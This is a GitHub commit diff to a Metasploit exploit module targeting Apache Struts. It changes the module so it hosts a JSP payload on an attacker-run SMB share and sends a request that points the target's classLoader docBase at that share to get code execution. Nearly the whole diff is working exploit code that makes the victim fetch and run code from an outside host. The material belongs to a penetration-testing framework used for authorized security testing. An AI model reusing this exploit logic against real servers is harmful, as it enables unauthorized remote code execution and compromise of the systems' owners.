Skip to content

Commit 1751921

Browse files
author
Matthew Hall
committed
Modify SMB generation code to use primer based on rapid7#3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
1 parent afca27d commit 1751921

File tree

1 file changed

+13
-43
lines changed

1 file changed

+13
-43
lines changed

modules/exploits/windows/http/struts_http_jspinject.rb

Lines changed: 13 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = GreatRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::Remote::SMBFileServer
12+
include Msf::Exploit::Remote::SMB::Server::Share
1313

1414
def initialize(info={})
1515
super(update_info(info,
@@ -50,12 +50,11 @@ def initialize(info={})
5050
))
5151
register_options(
5252
[
53-
OptString.new('UNCPATH', [false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share)' ]),
54-
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action', true ]),
55-
OptString.new('SHARE', [false, 'A static share path (ie. "share")']),
56-
OptString.new('JSP', [false, 'A static JSP name (ie. "/example/HelloWorld.jsp")']),
53+
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]),
54+
OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']),
5755
Opt::RPORT(8080)
5856
], self.class)
57+
deregister_options('FILE_CONTENTS')
5958
end
6059

6160
def check
@@ -69,39 +68,10 @@ def check
6968
end
7069
end
7170

72-
def start_server
73-
if (datastore['UNCPATH'])
74-
@unc = datastore['UNCPATH']
75-
print_status("Remember to share the malicious JSP payload as #{@unc}")
76-
else
77-
print_status("Generating our malicious jsp...")
78-
jsp = payload.encoded
79-
80-
# Check if URI and JSP differ
81-
if not datastore['JSP']
82-
@jsp_file = datastore['URI'].split('/').last(2).join('/').gsub(/action/, 'jsp')
83-
else
84-
@jsp_file = datastore['JSP']
85-
end
86-
@jsp_file = @jsp_file.gsub(/\\/, '/')
87-
@jsp_file = @jsp_file.gsub(/\/\/\/\//, '/')
88-
89-
if not datastore['SHARE']
90-
@share = rand_text_alpha(5)
91-
else
92-
@share = datastore['SHARE']
93-
end
94-
95-
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
96-
@unc = "\\\\#{my_host}\\#{@share}"
97-
vprint_status("About to start SMB Server on: " + @unc + " for " + @jsp_file)
98-
start_smb_server(@unc, jsp, @jsp_file)
99-
end
100-
end
101-
102-
def exploit
103-
start_server
104-
share = "#{@unc}"
71+
def primer
72+
self.exe_contents = payload.encoded
73+
print_status("File available on #{unc}...")
74+
share = "#{unc}"
10575
sploit = datastore['URI']
10676
share = share.gsub(/\\/, '/')
10777
#sploit << '?class.classLoader.resources.dirContext.docBase='
@@ -116,11 +86,11 @@ def exploit
11686
'uri' => sploit
11787
}, 30)
11888

119-
if res and res.code == 200
120-
print_status("#{peer} - JSP payload uploaded successfully")
121-
handler
122-
else
123-
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
89+
# Wait 30 seconds for session to be created
90+
1.upto(30) do
91+
break if session_created?
92+
sleep(1)
12493
end
94+
disconnect
12595
end
12696
end

0 commit comments

Comments
 (0)